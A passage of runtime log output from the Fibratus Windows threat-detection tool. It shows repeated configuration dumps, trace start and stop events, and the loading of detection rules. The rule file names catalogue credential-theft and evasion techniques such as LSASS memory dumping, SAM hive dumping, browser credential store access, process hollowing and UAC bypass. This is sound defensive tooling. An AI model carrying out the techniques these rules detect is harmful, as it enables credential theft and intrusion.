read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false excluded-files=>[] fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:04:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:04:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:04:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:04:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:04:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:07:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T13:07:33+01:00 level=info msg=bootstrapping with pid 16764. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:07:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-image=>true flush-interval=>1s enable-threadpool=>false max-buffers=>36 buffer-size=>512 enable-handle=>false enable-dns=>false enable-audit-api=>true enable-mem=>false enable-net=>true enable-vamap=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-thread=>true min-buffers=>16 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 max-backups=>15 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ vhost=>/ durable=>false timeout=>5s enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange=>fibratus routing-key=>fibratus passive=>false] http=>[ serializer=>json enable-gzip=>false enabled=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false flush-period=>1s enabled=>false trace-log=>false healthcheck=>true healthcheck-timeout=>5s timeout=>5s healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false bulk-workers=>1] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:07:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:07:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:08:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:08:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:08:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:08:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T13:08:33+01:00 level=info msg=bootstrapping with pid 7056. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:08:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 content-type=>text/html enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true max-buffers=>36 enable-thread=>true enable-fileio=>true min-buffers=>16 enable-threadpool=>false enable-vamap=>true enable-dns=>false buffer-size=>512 enable-net=>true enable-handle=>false stack-enrichment=>true enable-mem=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false passive=>false enabled=>false delivery-mode=>transient routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 durable=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false method=>POST endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus enabled=>false trace-log=>false index-name=>fibratus gzip-compression=>false timeout=>5s healthcheck=>true bulk-workers=>1 sniff=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false excluded-files=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:08:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:08:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:09:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:09:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:09:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:13:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:13:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:13:56+01:00 level=info msg=bootstrapping with pid 16776. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:13:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-net=>true buffer-size=>512 enable-vamap=>true enable-registry=>true enable-dns=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-threadpool=>false max-buffers=>36 flush-interval=>1s enable-image=>true enable-fileio=>true enable-audit-api=>true enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false timeout=>5s durable=>false vhost=>/ exchange-type=>topic delivery-mode=>transient routing-key=>fibratus exchange=>fibratus enabled=>false url=>amqp://localhost:5672 passive=>false] http=>[ serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false index-name=>fibratus template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s healthcheck=>true flush-period=>1s trace-log=>false sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-allocs=>false skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:13:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:13:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:14:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:14:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:14:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:15:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T13:15:01+01:00 level=info msg=bootstrapping with pid 1916. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:15:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false stack-enrichment=>true enable-thread=>true max-buffers=>36 enable-image=>true enable-fileio=>true min-buffers=>16 enable-registry=>true buffer-size=>512 enable-threadpool=>false enable-net=>true enable-handle=>false flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s index-name=>fibratus trace-log=>false gzip-compression=>false template-name=>fibratus bulk-workers=>1 timeout=>5s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true enabled=>false] http=>[ method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enabled=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus exchange=>fibratus exchange-type=>topic 